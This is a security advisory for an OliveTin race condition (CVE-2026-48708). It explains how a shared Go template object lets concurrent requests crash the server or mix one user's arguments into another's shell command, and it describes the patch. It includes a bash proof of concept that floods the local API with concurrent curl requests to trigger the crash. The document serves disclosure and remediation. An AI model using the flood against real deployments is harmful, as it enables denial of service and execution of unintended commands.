CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition
OliveTin reuses a single shared Go template object across all goroutines with no locking, so two concurrent action executions can swap each other's shell command templates, running the wrong command w

The problem
OliveTin's `parseTemplate` function in `service/internal/tpl/templates.go` calls `tpl.Parse(source)` on a package-level `*template.Template` singleton. `Parse` modifies the receiver in place and returns the same pointer, so `t` and `tpl` are the same object.
Every `ExecRequest` spawns a goroutine, meaning two concurrent action executions race on that single object. The race produces two distinct harms: Go's `text/template` internals hold a `map[string]*Template` that crashes the process with an unrecoverable `fatal error: concurrent map writes` when written concurrently, and even without a crash, one goroutine's `Execute` runs against the other goroutine's freshly parsed tree, substituting User A's arguments into User B's shell command.
Proof of concept
#!/bin/bash
# Trigger the race: fire two different actions concurrently at high volume.
# Two goroutines inside OliveTin will race on the shared tpl variable.
# Expected outcomes: server crash (connection refused) or template contamination errors in logs.
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
# Check if the process crashed:
curl -s http://127.0.0.1:1337/readyz
# Connection refused = OliveTin killed by concurrent map write panicThe root cause is that `tpl.Parse(source)` mutates the shared receiver and returns it, so every caller holds the same pointer with no copy. Go's own documentation states that a Template's `Parse` method must not be called concurrently, and the internal `tmpl map` write causes a fatal, non-recoverable crash when two goroutines hit it at the same time.
The patch (commit d74da93) eliminates the singleton entirely. `parseTemplate` now constructs a fresh `template.New("").Option(...).Funcs(...).Parse(source)` on every call, giving each goroutine its own isolated object with no shared mutable state.
The fix
Upgrade to OliveTin 3000.13.0 (commit d74da9314005954dd49fa20dabf272247bc76519). The fix replaces the package-level `tpl` singleton with a new `template.New("").Option("missingkey=error").Funcs(...).Parse(source)` call inside `parseTemplate`, so each goroutine gets its own independent template instance.
Reported by jamesread.